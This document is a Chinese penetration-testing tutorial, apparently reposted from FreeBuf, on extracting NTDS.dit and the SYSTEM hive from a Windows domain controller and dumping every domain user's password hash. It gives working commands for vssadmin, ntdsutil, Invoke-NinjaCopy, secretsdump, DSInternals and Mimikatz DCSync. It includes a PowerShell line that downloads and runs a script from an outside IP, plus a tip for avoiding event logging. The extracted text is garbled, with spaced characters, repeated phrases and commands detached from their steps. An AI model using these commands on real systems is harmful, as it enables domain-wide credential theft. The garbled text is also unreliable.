搜索

[15982] 2020-10-18_内网渗透测试研究：从NTDS.dit获取域散列值

文档创建者：s7ckTeam
浏览次数：11
最后更新：2025-01-18
2020-10-18_内网渗透测试研究：从NTDS.dit获取域散列值 内 网 渗 透 测 试 研 究 ： 从 N T D S . d i t 获 取 域 散 列 值 M r A n o n y m o u s   F r e e B u f   2 0 2 0 - 1 0 - 1 8 本 文 我 们 将 演 示 如 何 获 取 域 控 制 器 上 的 N t d s . d i t 文 件 并 提 取 其 中 的 域 账 户 和 密 码 哈 希 。 仅 限 于 技 术 讨 论 与 分 享 ， 严 禁 用 于 非 法 途 径 。 N t d s . d i t 在 域 环 境 中 ， 活 动 目 录 是 域 中 提 供 目 录 服 务 的 组 件 ， 其 可 以 帮 助 用 户 快 速 准 确 地 从 目 录 中 找 到 其 所 需 要 的 信 息 。 在 规 模 较 大 的 网 络 中 ， 要 把 网 络 中 的 众 多 对 象 ， 例 如 计 算 机 、 用 户 、 用 户 组 、 打 印 机 、 共 享 文 件 等 分 门 别 类 、 井 然 有 序 的 存 放 在 一 个 大 仓 库 中 ， 并 做 好 信 息 索 引 ， 一 遍 查 找 、 管 理 和 使 用 这 些 资 源 对 象 。 拥 有 这 个 层 次 结 构 的 数 据 库 就 是 活 动 目 录 数 据 库 。 N t d s . d i t 文 件 是 域 环 境 中 域 控 上 会 有 的 一 个 二 进 制 文 件 ， 是 主 要 的 活 动 目 录 数 据 库 ， 其 文 件 路 径 为 域 控 的   % S y s t e m R o o t % n t d s n t d s . d i t ， 活 动 目 录 始 终 会 访 问 这 个 文 件 ， 所 以 文 件 禁 止 被 读 取 。 N t d s . d i t 包 括 但 不 限 于 有 关 域 用 户 、 组 和 组 成 员 身 份 和 凭 据 信 息 、 G P P 等 信 息 。 它 包 括 域 中 所 有 用 户 的 密 码 哈 希 值 ， 为 了 进 一 步 保 护 密 码 哈 希 值 ， 使 用 存 储 在 S Y S T E M 注 册 表 配 置 单 元 中 的 密 钥 对 这 些 哈 希 值 进 行 加 密 。 而 在 非 域 环 境 也 就 是 在 工 作 组 环 境 中 ， 用 户 的 密 码 等 信 息 存 储 在 S A M 文 件 ， 想 要 破 解 S A M 文 件 与 N t d s . d i t 文 件 都 需 要 拥 有 一 个 S y s t e m 文 件 。 和 S A M 文 件 一 样 ， N t d s . d i t 是 默 认 被 W i n d o w s 系 统 锁 定 的 。 利 用 利 用 V S S 技 术 获 取 技 术 获 取 N T D S . d i t 文 件 文 件 在 一 般 情 况 下 ， N t d s . d i t 是 默 认 被 W i n d o w s 系 统 锁 定 的 ， 想 要 读 取 该 文 件 就 要 利 用 卷 影 拷 贝 服 务 ( V o l u m e   S h a d o w   C o p y   S e r v i c e ， V S S ) ， 得 到 N t d s . d i t 文 件 的 副 本 。 卷 影 拷 贝 服 务 ( V S S ) 本 质 上 是 属 于 快 照 技 术 的 一 种 ， 主 要 用 于 备 份 和 恢 复 ， 即 使 目 标 文 件 被 处 于 锁 定 状 态 。 其 获 取 N t d s . d i t 的 基 本 步 骤 如 下 ： 1 .   创 建 目 标 主 机 的 卷 影 拷 贝 （ 包 含 W i n d o w s 上 的 全 部 文 件 ） 2 .   然 后 在 创 建 的 卷 影 拷 贝 中 将 n t d s . d i t 复 制 出 来 3 .   最 后 将 当 菜 创 建 的 卷 影 拷 贝 删 除 利 用 利 用 v s s a d m i n 工 具 工 具 v s s a d m i n 是 W i n d o w s 上 的 一 个 卷 影 拷 贝 服 务 的 命 令 行 管 理 工 具 ， 可 用 于 创 建 和 删 除 卷 影 拷 贝 、 列 出 卷 影 拷 贝 的 信 息 ， 显 示 已 安 装 的 所 有 卷 影 拷 贝 写 入 程 序 和 提 供 程 序 ， 以 及 改 变 卷 影 拷 贝 的 存 储 空 间 的 大 小 等 。 其 适 用 于 ： W i n d o w s   1 0 ， W i n d o w s   8 . 1 ， W i n d o w s   S e r v e r   2 0 1 6 ， W i n d o w s   S e r v e r   2 0 1 2   R 2 ， W i n d o w s   S e r v e r   2 0 1 2 ， W i n d o w s   S e r v e r   2 0 0 8   R 2 ， W i n d o w s   S e r v e r   2 0 0 8 详 情 参 考 ： h t t p s : / / d o c s . m i c r o s o f t . c o m / z h - c n / w i n d o w s - s e r v e r / a d m i n i s t r a t i o n / w i n d o w s - c o m m a n d s / v s s a d m i n 利 用 v s s a d m i n 命 令 从 域 控 中 提 取 n t d s . d i t 文 件 的 流 程 如 下 ， 需 要 域 管 理 员 权 限 操 作 ： 1 .   在 已 经 获 取 到 权 限 的 域 控 制 器 上 执 行 如 下 命 令 ， 创 建 一 个 C 盘 的 卷 影 拷 贝 ： v s s a d m i n   c r e a t e   s h a d o w   / f o r = C :
2 .   然 后 在 创 建 的 卷 影 拷 贝 中 将 n t d s . d i t 复 制 到 C 盘 中 ： 此 时 ， 便 成 功 将 N t d s . d i t 副 本 复 制 了 出 来 。 3 .   最 后 将 刚 刚 创 建 的 卷 影 拷 贝 删 除 ： 利 用 利 用 v s s o w n . v b s 脚 本 脚 本 下 载 地 址 ： h t t p s : / / r a w . g i t h u b u s e r c o n t e n t . c o m / b o r i g u e / p t s c r i p t s / m a s t e r / w i n d o w s / v s s o w n . v b s h t t p s : / / g i t h u b . c o m / b o r i g u e / p t s c r i p t s / t r e e / m a s t e r / w i n d o w s 该 脚 本 本 质 上 是 通 过 w m i 对 S h a d o w C o p y 进 行 操 作 ， 其 功 能 与 v s s a d m i n 类 似 ， 可 用 于 创 建 和 删 除 卷 影 拷 贝 ， 以 及 启 动 和 停 止 卷 影 拷 贝 服 务 。 利 用 v s s o w n . v b s 脚 本 从 域 控 中 提 取 n t d s . d i t 文 件 的 流 程 如 下 ， 需 要 域 管 理 员 权 限 操 作 ： 1 .   首 先 ， 在 域 控 制 器 上 执 行 如 下 命 令 启 动 卷 影 拷 贝 服 务 ： c s c r i p t 命 令 专 用 于 执 行 要 在 命 令 行 环 境 中 运 行 的 脚 本 。 2 .   然 后 执 行 如 下 命 令 创 建 一 个 C 盘 的 卷 影 拷 贝 ： 执 行 如 下 命 令 列 出 当 前 已 经 创 建 的 卷 影 拷 贝 ： c o p y   ? G L O B A L R O O T D e v i c e H a r d d i s k V o l u m e S h a d o w C o p y 1 w i n d o w s n t d s n t d s . d i t   C : n t d s . d i t v s s a d m i n   d e l e t e   s h a d o w s   / f o r = c :   / q u i e t c s c r i p t   v s s o w n . v b s   / s t a r t c s c r i p t   v s s o w n . v b s   / c r e a t e   c c s c r i p t   v s s o w n . v b s   / l i s t
如 上 图 ， 我 们 可 以 看 到 一 个 I D 为 { D 0 E 1 B 1 B 0 - 9 6 B 3 - 4 A 5 E - 9 8 8 A - 4 D A 2 7 3 8 A 0 7 8 D } 的 卷 影 拷 贝 ， 存 储 位 置 为 ? G L O B A L R O O T D e v i c e H a r d d i s k V o l u m e S h a d o w C o p y 2 。 3 .   接 着 在 创 建 的 卷 影 拷 贝 中 将 n t d s . d i t 复 制 到 C 盘 中 ： 4 .   得 到 N t d s . d i t 的 副 本 之 后 ， 将 刚 刚 创 建 的 卷 影 拷 贝 删 除 就 可 以 了 ： 利 用 利 用 N t d s u t i l . e x e 工 具 工 具 N t d s u t i l . e x e   是 一 个 为   A c t i v e   D i r e c t o r y   提 供 管 理 设 施 的 命 令 行 工 具 ， 该 工 具 被 默 认 安 装 在 了 域 控 制 器 上 ， 可 以 在 域 控 上 直 接 操 作 ， 也 可 以 通 过 域 内 机 器 在 域 控 上 远 程 操 作 ， 但 是 需 要 管 理 员 权 限 。 您 可 使 用   N t d s u t i l . e x e   执 行   A c t i v e   D i r e c t o r y   的 数 据 库 维 护 ， 管 理 和 控 制 单 个 主 机 操 作 ， 创 建 应 用 程 序 目 录 分 区 ， 以 及 删 除 由 未 使 用   A c t i v e   D i r e c t o r y   安 装 向 导   ( D C P r o m o . e x e )   成 功 降 级 的 域 控 制 器 留 下 的 元 数 据 。 详 情 参 考 ： h t t p s : / / b a i k e . b a i d u . c o m / i t e m / N t d s u t i l . e x e / 7 4 0 4 3 0 ? f r = a l a d d i n 利 用 N t d s u t i l . e x e 工 具 从 域 控 中 提 取 n t d s . d i t 文 件 的 流 程 如 下 ， 需 要 域 管 理 员 权 限 操 作 ： 1 .   首 先 ， 在 域 控 制 器 上 执 行 如 下 命 令 创 建 一 个 快 照 ： 该 快 照 包 含 W i n d o w s 中 的 所 有 文 件 ， 且 在 复 制 时 不 会 受 到 W i n d o w s 锁 定 机 制 的 影 响 如 上 图 ， 可 以 看 到 成 功 创 建 了 一 个 I D 为 { f 3 c e 5 a 6 4 - 1 1 d 7 - 4 b c f - 9 8 5 8 - 8 1 4 4 2 e 4 0 d 6 c b } 的 快 照 。 然 后 执 行 如 下 命 令 ， 加 载 刚 刚 创 建 的 快 照 ： 此 时 ， 便 成 功 将 刚 才 创 建 的 快 照 加 载 到 了 系 统 中 的 C : $ S N A P _ 2 0 2 0 0 9 2 9 1 0 0 2 _ V O L U M E C $ 目 录 下 ： c o p y   ? G L O B A L R O O T D e v i c e H a r d d i s k V o l u m e S h a d o w C o p y 2 w i n d o w s N T D S n t d s . d i t   C : n t d s . d i t c s c r i p t   v s s o w n . v b s   / d e l e t e   < I D > c s c r i p t   v s s o w n . v b s   / d e l e t e   { D 0 E 1 B 1 B 0 - 9 6 B 3 - 4 A 5 E - 9 8 8 A - 4 D A 2 7 3 8 A 0 7 8 D } n t d s u t i l   s n a p s h o t   " a c t i v a t e   i n s t a n c e   n t d s "   c r e a t e   q u i t   q u i t n t d s u t i l   s n a p s h o t   " m o u n t   < I D > "   q u i t   q u i t n t d s u t i l   s n a p s h o t   " m o u n t   { f 3 c e 5 a 6 4 - 1 1 d 7 - 4 b c f - 9 8 5 8 - 8 1 4 4 2 e 4 0 d 6 c b } "   q u i t   q u i t
3 .   接 着 执 行 如 下 命 令 ， 将 快 照 中 的 N t d s . d i t 文 件 复 制 到   C : n t d s . d i t ： 得 到 n t d s . d i t 文 件 的 副 本 后 ， 我 们 就 可 以 将 刚 才 创 建 并 加 载 的 快 照 删 除 了 。 4 .   最 后 ， 执 行 如 下 命 令 将 之 前 创 建 并 加 载 的 快 照 卸 载 并 删 除 ： 创 建 创 建 I F M 提 取 提 取 N t d s . d i t 文 件 文 件 除 了 利 用 上 面 那 种 操 作 来 获 取 N t d s . d i t 外 ， 还 可 以 利 用 N t d s u t i l . e x e 创 建 媒 体 安 装 集 ( I F M ) 来 用 于 提 取 N T D S . d i t 文 件 。 在 使 用 在 使 用 n t d s u t i l 创 建 创 建 媒 体 安 装 集 创 建 创 建 媒 体 安 装 集 ( I F M ) 时 ， 会 自 动 进 行 生 成 快 照 、 加 时 ， 会 自 动 进 行 生 成 快 照 、 加 载 、 将 载 、 将 n t d s . d i t 、 计 算 机 的 、 计 算 机 的 S A M 和 和 S Y S T E M 文 件 复 制 到 目 标 文 件 夹 中 等 操 作 ， 我 们 可 以 利 用 该 过 程 获 取 文 件 复 制 到 目 标 文 件 夹 中 等 操 作 ， 我 们 可 以 利 用 该 过 程 获 取 N T D S . d i t 文 件 ， 需 要 管 理 员 权 限 。 文 件 ， 需 要 管 理 员 权 限 。 N t d s u t i l 是 本 地 处 理   A c t i v e   D i r e c t o r y   的 命 令 实 用 程 序 ， 并 为 D C P r o m o 启 用 I F M 集 创 建 。 I F M 与 D C P r o m o 一 起 用 于 “ 从 媒 体 安 装 ” ， 因 此 被 升 级 的 服 务 器 不 需 要 通 过 网 络 从 另 一 个 D C 复 制 域 数 据 。 当 创 建 一 个 当 创 建 一 个 I F M 时 ， 时 ， V S S 快 照 会 被 自 动 拍 摄 ， 挂 载 ， 快 照 会 被 自 动 拍 摄 ， 挂 载 ， N T D S . D I T 文 件 和 相 关 数 据 被 复 制 到 目 标 文 件 夹 中 。 文 件 和 相 关 数 据 被 复 制 到 目 标 文 件 夹 中 。 在 域 控 制 器 中 执 行 如 下 命 令 即 可 ： 执 行 该 命 令 后 ， 会 自 动 将 n t d s . d i t 文 件 复 制 到 C : t e s t A c t i v e   D i r e c t o r y n t d s . d i t ， 同 时 会 将 S Y S T E M 和 S E C U R I T Y 复 制 到 C : t e s t r e g i s t r y 目 录 下 ： c o p y   C : $ S N A P _ 2 0 2 0 0 9 2 9 1 0 0 2 _ V O L U M E C $ w i n d o w s n t d s n t d s . d i t   c : n t d s . d i t n t d s u t i l   s n a p s h o t   " m o u n t   < I D > "   " d e l e t e   < I D > "   q u i t   q u i t n t d s u t i l   s n a p s h o t   " m o u n t   { f 3 c e 5 a 6 4 - 1 1 d 7 - 4 b c f - 9 8 5 8 - 8 1 4 4 2 e 4 0 d 6 c b } "   " d e l e t e   { f 3 c e 5 a 6 4 - 1 1 d 7 - 4 b c f - 9 8 5 8 - 8 1 4 4 2 e 4 0 d 6 c b } "   q u i t   q u i t n t d s u t i l   " a c   i   n t d s "   " i f m "   " c r e a t e   f u l l   c : / t e s t "   q   q
然 后 执 行 如 下 命 令 将 n t d s . d i t 复 制 到 C : n t d s . d i t 最 后 ， 将 我 们 需 要 的 文 件 拖 到 本 地 后 ， 将 t e s t 文 件 夹 删 除 即 可 。 P o w e r S h e l l 下 的 实 现 下 的 实 现 N i s h a n g 中 的 C o p y - V S S . p s 1 脚 本 可 以 用 于 自 动 提 取 — — N T D S . D I T ， S A M 和 S Y S T E M 这 些 必 要 文 件 。 这 些 文 件 将 被 解 压 到 当 前 工 作 目 录 或 其 他 任 意 的 指 定 文 件 夹 中 。 下 载 地 址 ： h t t p s : / / g i t h u b . c o m / s a m r a t a s h o k / n i s h a n g / b l o b / m a s t e r / G a t h e r / C o p y - V S S . p s 1 该 脚 本 使 用 如 下 ： 如 上 图 ， 成 功 执 行 后 ， 会 将 S A M 、 S Y S T E M 、 N t d s . d i t 文 件 复 制 到 与 该 脚 本 相 同 的 目 录 中 。 也 可 以 将 S A M 、 S Y S T E M 、 N t d s . d i t 文 件 复 制 到 指 定 的 目 录 中 ： 除 了 除 了 C o p y - V S S . p s 1 脚 本 ， 我 们 还 可 以 利 用 脚 本 ， 我 们 还 可 以 利 用 P o w e r S p l o i t 中 的 中 的 I n v o k e - N i n j a C o p y 脚 本 脚 本 下 载 地 址 ： h t t p s : / / g i t h u b . c o m / P o w e r S h e l l M a f i a / P o w e r S p l o i t / b l o b / m a s t e r / E x f i l t r a t i o n / I n v o k e - N i n j a C o p y . p s 1 该 脚 本 用 于 “ 万 能 复 制 ” ， 像 w i n d o w s 主 机 里 S A M 文 件 、 域 控 中 的 N t d s . d i t ， 里 面 数 据 很 多 有 价 值 的 信 息 ， 普 通 的 C O P Y 命 令 是 无 法 复 制 的 ， 使 用 万 能 复 制 可 以 复 制 这 类 文 件 。 该 脚 本 使 用 如 下 ： 用 该 脚 本 复 制 N t d s . d i t 和 S Y S T E M 文 件 ： 如 上 图 ， 复 制 成 功 。 c o p y   " C : t e s t A c t i v e   D i r e c t o r y n t d s . d i t "   C : n t d s . d i t I E X   ( N e w - O b j e c t   N e t . W e b C l i e n t ) . D o w n l o a d S t r i n g ( ' h t t p : / / 3 9 . x x x . x x x . 2 1 0 / N i s h a n g / G a t h e r / C o p y - V S S . p s 1 ' ) ; C o p y - V S S C o p y - V S S   - D e s t i n a t i o n D i r   C : I n v o k e - N i n j a C o p y   - P a t h   < 需 要 复 制 的 文 件 >   - L o c a l D e s t i n a t i o n   < 复 制 文 件 保 存 位 置 > I m p o r t - M o d u l e   . I n v o k e - N i n j a C o p y . p s 1 I n v o k e - N i n j a C o p y   - P a t h   " C : w i n d o w s n t d s n t d s . d i t "   - L o c a l D e s t i n a t i o n   " C : n t d s . d i t " I n v o k e - N i n j a C o p y   - P a t h   " C : W i n d o w s S y s t e m 3 2 c o n f i g S Y S T E M "   - L o c a l D e s t i n a t i o n   " C : s y s t e m . h i v e "
这 种 方 法 没 有 调 用 这 种 方 法 没 有 调 用 V o l u m e   S h a d o w   C o p y 服 务 ， 所 以 不 会 产 生 日 志 文 件 服 务 ， 所 以 不 会 产 生 日 志 文 件 7 0 3 6 ( 卷 影 拷 贝 服 务 进 入 运 行 状 态 的 标 志 卷 影 拷 贝 服 务 进 入 运 行 状 态 的 标 志 ) 。 。 导 出 导 出 S Y S T E M 文 件 文 件 导 出 n t d s . d i t 后 ， 还 需 要 导 出 S Y S T E M ， 将 s y s t e m . h i v e 转 储 ， 因 为 s y s t e m . h i v e 中 存 放 着 n t d s . d i t 的 密 钥 。 我 们 可 以 用 上 面 讲 的 C o p y - V S S . p s 1 等 方 法 导 出 S Y S T E M 文 件 ， 也 可 以 执 行 如 下 命 令 ， 将 导 出 s y s t e m 利 用 工 具 导 出 利 用 工 具 导 出 N t d s . d i t 文 件 中 的 散 列 值 文 件 中 的 散 列 值 到 现 在 为 止 ， 我 们 已 经 学 会 了 利 用 各 种 方 法 将 N t d s . d i t 文 件 提 取 出 ， 当 我 们 获 得 了 域 控 上 的 N t d s . d i t 文 件 后 ， 接 下 来 要 做 的 就 是 想 办 法 从 N t d s . d i t 文 件 中 导 出 其 中 的 密 码 哈 希 散 列 值 。 利 用 利 用 E s e d b e x p o r t 和 和 N t d s x t r a c t 工 具 工 具 （ （ 1 ） 恢 复 ） 恢 复 n t d s . d i t 并 导 出 用 户 表 信 息 并 导 出 用 户 表 信 息 首 先 我 们 需 要 从 N T D S . d i t 文 件 中 提 取 用 户 表 格 ， 这 里 我 们 要 通 过 l i b e s e d b - t o o l s 中 的 e s e d b e x p o r t 来 帮 我 们 完 成 。 L i b e s e d b 是 一 个 用 于 访 问 可 扩 展 存 储 引 擎 （ E S E ） 数 据 库 文 件 （ E D B ） 格 式 的 库 。 当 前 ， E S E 数 据 库 格 式 被 应 用 于 许 多 不 同 的 应 用 程 序 上 ， 如 W i n d o w s   S e a r c h ， W i n d o w s   M a i l ， E x c h a n g e ， A c t i v e   D i r e c t o r y （ N T D S . d i t ） 等 。 下 载 地 址 ： h t t p s : / / g i t h u b . c o m / l i b y a l / l i b e s e d b / r e l e a s e s 首 先 在 k a l i 上 面 安 装 e s e d b e x p o r t ： 安 装 完 成 后 ， 进 入 存 放 n t d s . d i t 的 目 录 ， 执 行 以 下 命 令 恢 复 n t d s . d i t 并 提 取 表 信 息 ： 如 上 图 提 取 表 成 功 ， 并 且 会 在 当 前 目 录 下 生 成 一 个 “ n t d s . d i t . e x p o r t ” 文 件 夹 ： 上 图 中 ， 我 们 可 以 看 到 有 很 多 表 ， 我 们 在 之 后 需 要 用 到 的 表 也 就 是   d a t a t a b l e . 3   和   l i n k _ t a b l e . 5 这 两 个 表 。 （ （ 2 ） 导 出 其 中 的 域 散 列 值 ） 导 出 其 中 的 域 散 列 值 n t d s . d i t 中 的 表 一 旦 被 提 取 出 来 ， 有 很 多 p y t h o n 工 具 可 以 将 这 些 表 中 的 信 息 进 一 步 提 取 从 而 导 出 其 中 的 域 散 列 值 ， 比 如 n t d s x t r a c t 就 可 以 完 美 进 行 。 该 工 具 不 仅 能 够 提 取 与 用 户 对 象 、 组 对 象 、 计 算 机 对 象 相 关 的 信 息 ， 同 时 还 能 从 N T D S . d i t 文 件 中 删 除 对 象 。 安 装 命 令 ： r e g   s a v e   h k l m s y s t e m   c : s y s t e m . h i v e a p t - g e t   i n s t a l l   a u t o c o n f   a u t o m a k e   a u t o p o i n t   l i b t o o l   p k g - c o n f i g           / /   安 装 依 赖 w g e t   h t t p s : / / g i t h u b . c o m / l i b y a l / l i b e s e d b / r e l e a s e s / d o w n l o a d / 2 0 2 0 0 4 1 8 / l i b e s e d b - e x p e r i m e n t a l - 2 0 2 0 0 4 1 8 . t a r . g z c d   l i b e s e d b - e x p e r i m e n t a l - 2 0 1 9 1 2 2 0 . / c o n f i g u r e m a k e   & &   m a k e   i n s t a l l   & &   l d c o n f i g e s e d b e x p o r t   - m   t a b l e s   n t d s . d i t                 / /   提 取 表 信 息
安 装 完 成 后 ， 我 们 将 上 一 步 中 导 出 的 “ n t d s . d i t . e x p o r t ” 文 件 夹 中 的 d a t a t a b l e . 3 、 l i n k _ t a b l e . 5 这 两 个 表 和 之 前 获 得 的 “ S Y S T E M ” 文 件 一 并 放 入 n t d s x t r a c t 的 文 件 夹 中 。 然 后 我 们 就 可 以 执 行 如 下 命 令 ， 将 域 内 的 所 有 用 户 及 散 列 值 导 出 到 r e s u l t . t x t 文 件 中 – p w d f o r m a t 选 项 是 选 择 以 什 么 格 式 进 行 提 取 ， 有 j o h n ( J o h n   f o r m a t ) 、 o c l ( o c l H a s h c a t ) 、 o p h c ( O p h C r a c k ) 三 个 选 项 。 如 上 图 所 示 ， 成 功 将 域 内 的 所 有 用 户 及 密 码 哈 希 散 列 值 导 出 来 了 。 提 取 到 的 哈 希 值 可 以 用 h a s h c a t 等 工 具 进 行 破 解 ， 详 情 请 看 我 的 另 一 篇 文 章 ： 《 内 网 横 向 移 动 研 究 ： 获 取 域 内 单 机 密 码 与 H a s h 》 由 于 N t d s . d i t 包 括 但 不 限 于 有 关 域 用 户 、 组 和 组 成 员 身 份 和 凭 据 信 息 、 G P P 等 信 息 ， 也 就 是 说 我 们 不 仅 可 以 利 用 N t d s . d i t 获 得 密 码 哈 希 ， 还 可 以 通 过 分 析 N t d s . d i t 导 出 域 内 的 所 有 计 算 机 的 其 他 信 息 ， 这 十 分 有 助 于 我 们 对 域 内 信 息 的 收 集 。 N t d s x t r a c t 中 还 具 有 一 个 “ d s c o m p u t e r s . p y ” 工 具 可 以 从 分 离 出 来 的 表 中 提 取 域 中 计 算 机 信 息 。 这 对 于 离 线 分 析 目 标 信 息 是 非 常 有 用 的 。 在 使 用 过 程 中 ， 需 要 对 它 提 供 d a t a t a b l e ， 输 出 目 录 以 及 输 出 文 件 ， 输 出 文 件 的 格 式 为 c s v ： g i t   c l o n e   h t t p s : / / g i t h u b . c o m / c s a b a b a r t a / n t d s x t r a c t . g i t c d   n t d s x t r a c t / p y t h o n   s e t u p . p y   b u i l d   & &   p y t h o n   s e t u p . p y   i n s t a l l d s u s e r s . p y   < d a t a t a b l e >   < l i n k _ t a b l e >   < o u t p u t _ d i r >   - - s y s h i v e   < s y s t e m h i v e >   - - p a s s w o r d h a s h e s   < f o r m a t   o p t i o n s >             / /   命 令 格 式 p y t h o n   d s u s e r s . p y   d a t a t a b l e . 3   l i n k _ t a b l e . 5   o u t p u t   - - s y s h i v e   s y s t e m . h i v e   - - p a s s w o r d h a s h e s   - - p w d f o r m a t   o c l   - - n t o u t f i l e   n t o u t   - - l m o u t f i l e   l m o u t   |   t e e   r e s u l t . t x t p y t h o n   d s c o m p u t e r s . p y   d a t a t a b l e . 3   c o m p u t e r _ o u t p u t   - - c s v o u t f i l e   d o m a i n _ c o m p u t e r s _ i n f o . c s v
注 意 ， 使 用 注 意 ， 使 用 N t d s x t r a c t 导 出 导 出 N t d s . d i t 表 中 的 域 散 列 值 ， 要 提 供 三 个 文 件 ： 表 中 的 域 散 列 值 ， 要 提 供 三 个 文 件 ： 即 N t d s . d i t 导 出 的 n t d s . d i t . e x p o r t 文 件 夹 中 的 d a t a t a b l e . 3 、 l i n k _ t a b l e . 5 这 两 个 表 和 之 前 获 得 的 “ S Y S T E M ” 文 件 ： 使 用 使 用 I m p a c k e t 中 的 中 的 s e c r e t s d u m p 下 载 地 址 ： h t t p s : / / g i t h u b . c o m / S e c u r e A u t h C o r p / i m p a c k e t s e c r e t s d u m p . p y 是 I m p a c k e t 工 具 包 中 的 一 个 脚 本 ， 该 脚 本 实 现 了 多 种 不 需 要 在 远 程 主 机 上 执 行 任 何 代 理 的 情 况 下 转 储 机 密 数 据 的 技 术 。 对 于 S A M 和 L S A   S e c r e t s （ 包 括 缓 存 的 凭 据 ） ， 我 们 尽 可 能 的 尝 试 从 注 册 表 中 读 取 ， 然 后 将 h i v e s 保 存 在 目 标 系 统 （ ％ S Y S T E M R O O T ％ T e m p 目 录 ） 中 ， 并 从 那 里 读 取 其 余 的 数 据 。 s e c r e t s d u m p . p y 有 一 个 本 地 选 项 ， 可 以 解 析 N t d s . d i t 文 件 并 从 N t d s . d i t 中 提 取 哈 希 散 列 值 和 域 信 息 。 在 此 之 前 ， 我 们 必 须 获 取 到 N t d s . d i t 和 S Y S T E M 这 两 个 文 件 。 如 果 条 件 满 足 ， 你 可 以 执 行 以 下 命 令 ： 如 上 图 ， 该 脚 本 成 功 将 域 中 所 有 用 户 的 N T L M   h a s h 值 呈 现 出 来 。 P o w e r S h e l l 下 的 利 用 下 的 利 用 D S I n t e r n a l s   P o w e r S h e l l 模 块 提 供 了 构 建 在 框 架 之 上 的 易 于 使 用 的 c m d l e t 。 主 要 功 能 包 括 离 线 n t d s . d i t 文 件 操 作 以 及 通 过 目 录 复 制 服 务 （ D R S ） 远 程 协 议 查 询 域 控 制 器 。 p y t h o n   s e c r e t s d u m p . p y   - s y s t e m   / 目 录 / s y s t e m . h i v e   - n t d s   / 目 录 / n t d s . d i t   L O C A L
下 载 地 址 ： h t t p s : / / g i t h u b . c o m / M i c h a e l G r a f n e t t e r / D S I n t e r n a l s 支 持 系 统 ： W i n d o w s   S e r v e r   2 0 1 2   R 2 W i n d o w s   S e r v e r   2 0 0 8   R 2 W i n d o w s   1 0   6 4 - b i t W i n d o w s   8 . 1   6 4 - b i t W i n d o w s   7   6 4 - b i t 安 装 与 配 置 方 法 ： 详 情 参 考 ： h t t p s : / / w w w . p o w e r s h e l l g a l l e r y . c o m / p a c k a g e s / d s i n t e r n a l s / 3 . 2 . 1 要 使 用 D S I n t e r n a l s 模 块 提 取 用 户 哈 希 值 ， 我 们 需 要 先 获 取 N t d s . d i t 、 S Y S T E M 这 两 个 文 件 。 将 N t d s . d i t 、 S Y S T E M 这 两 个 文 件 导 出 并 拖 到 我 们 本 地 后 ， 即 可 执 行 如 下 命 令 获 取 所 有 账 户 哈 希 ： 还 可 以 导 出 支 持 H a s h c a t 格 式 的 哈 希 ： 这 里 在 我 的 电 脑 上 报 错 了 ， 所 以 就 先 不 复 现 了 。 以 上 所 讲 的 提 取 哈 希 的 方 法 都 是 离 线 提 取 ， 所 谓 离 线 提 取 一 般 需 要 两 步 ， 首 先 就 是 将 远 端 域 控 的 n t d s . d i t 用 卷 影 拷 贝 等 技 术 导 出 并 下 载 到 本 地 ， 然 后 再 在 本 地 进 行 提 取 操 作 。 下 面 我 们 来 总 结 一 下 在 线 提 取 n t d s . d i t 中 的 哈 希 的 方 法 。 在 线 提 取 在 线 提 取 N t d s . d i t 中 的 哈 希 中 的 哈 希 利 用 利 用 d c s y n c 获 取 提 取 获 取 提 取 N t d s . d i t 中 的 哈 希 中 的 哈 希 D C S y n c 是 M i m i k a t z 在 2 0 1 5 年 添 加 的 一 个 功 能 ， 由 B e n j a m i n   D E L P Y   g e n t i l k i w i 和 V i n c e n t   L E   T O U X 共 同 编 写 ， 其 能 够 利 用 卷 影 拷 贝 服 务 直 接 读 取 n d t s . d i t 并 导 出 域 内 所 有 用 户 的 哈 希 值 。 需 要 管 理 员 权 限 。 M i m i k a t z 下 载 地 址 ： h t t p s : / / g i t h u b . c o m / g e n t i l k i w i / m i m i k a t z 利 用 M i m i k a t z 的 d c s y n c 功 能 获 取 提 取 N t d s . d i t 中 的 哈 希 的 操 作 如 下 ： 1 .   在 域 内 任 意 一 台 主 机 上 运 行 m i m i k a t z 并 执 行 如 下 命 令 ： 如 上 图 ， 成 功 导 出 了 域 内 所 有 用 户 的 哈 希 散 列 值 。 P o w e r S h e l l 下 的 实 现 下 的 实 现 即 I n v o k e - D C S y n c . p s 1 脚 本 。 下 载 地 址 ： h t t p s : / / g i s t . g i t h u b . c o m / m o n o x g a s / 9 d 2 3 8 a c c d 9 6 9 5 5 0 1 3 6 d b 该 脚 本 通 过 I n v o k e - R e f l e c t i v e P E i n j e c t i o n 调 用 m i m i k a t z . d l l 中 的 d c s y n c 功 能 ， 并 利 用 d c s y n c 直 接 读 取 n t d s . d i t 得 到 域 用 户 密 码 散 列 值 。 在 域 内 任 何 一 台 主 机 上 面 执 行 如 下 命 令 ： 如 上 图 ， 成 功 将 域 内 所 有 用 户 的 哈 希 提 取 了 出 来 。 P o w e r S h e l l   5 . 0 ： I n s t a l l - M o d u l e   D S I n t e r n a l s 或 I n s t a l l - M o d u l e   - N a m e   D S I n t e r n a l s   - R e q u i r e d V e r s i o n   3 . 2 . 1 P o w e r S h e l l   3 . 0 、 4 . 0 ： 解 压 压 缩 包   c d   C : D S I n t e r n a l s I m p o r t - M o d u l e   . D S I n t e r n a l s I m p o r t - M o d u l e   D S I n t e r n a l s               / /   导 入 D S I n t e r n a l s 模 块 / /   获 取 所 有 账 户 信 息 ： $ k e y   =   G e t - B o o t k e y   - S y s t e m H i v e P a t h   ' C : 目 录 s y s t e m . h i v e '         G e t - A D D B A c c o u n t   - A l l   - D B P a t h   ' C : 目 录 n t d s . d i t '   - B o o t k e y   $ k e y $ k e y   =   G e t - B o o t k e y   - S y s t e m H i v e P a t h   ' C : 目 录 s y s t e m . h i v e ' G e t - A D D B A c c o u n t   - A l l   - D B P a t h   ' C : 目 录 n t d s . d i t '   - B o o t K e y   $ k e y   |   F o r m a t - C u s t o m   - V i e w   H a s h c a t N T   |   O u t - F i l e   h a s h e s . t x t l s a d u m p : : d c s y n c   / d o m a i n : x x x . c o m   / a l l   / c s v l s a d u m p : : d c s y n c   / d o m a i n : g o d . o r g   / a l l   / c s v I m p o r t - M o d u l e   . I n v o k e - D C S y n c . p s 1 I n v o k e - D C S y n c   - D u m p F o r e s t   |   f t   - w r a p   - a u t o s i z e         / /   导 出 域 内 所 有 用 户 的 h a s h I n v o k e - D C S y n c   - D u m p F o r e s t   - U s e r s   @ ( " a d m i n i s t r a t o r " )   |   f t   - w r a p   - a u t o s i z e             / /   导 出 域 内 a d m i n i s t r a t o r 账 户 的 h a s h
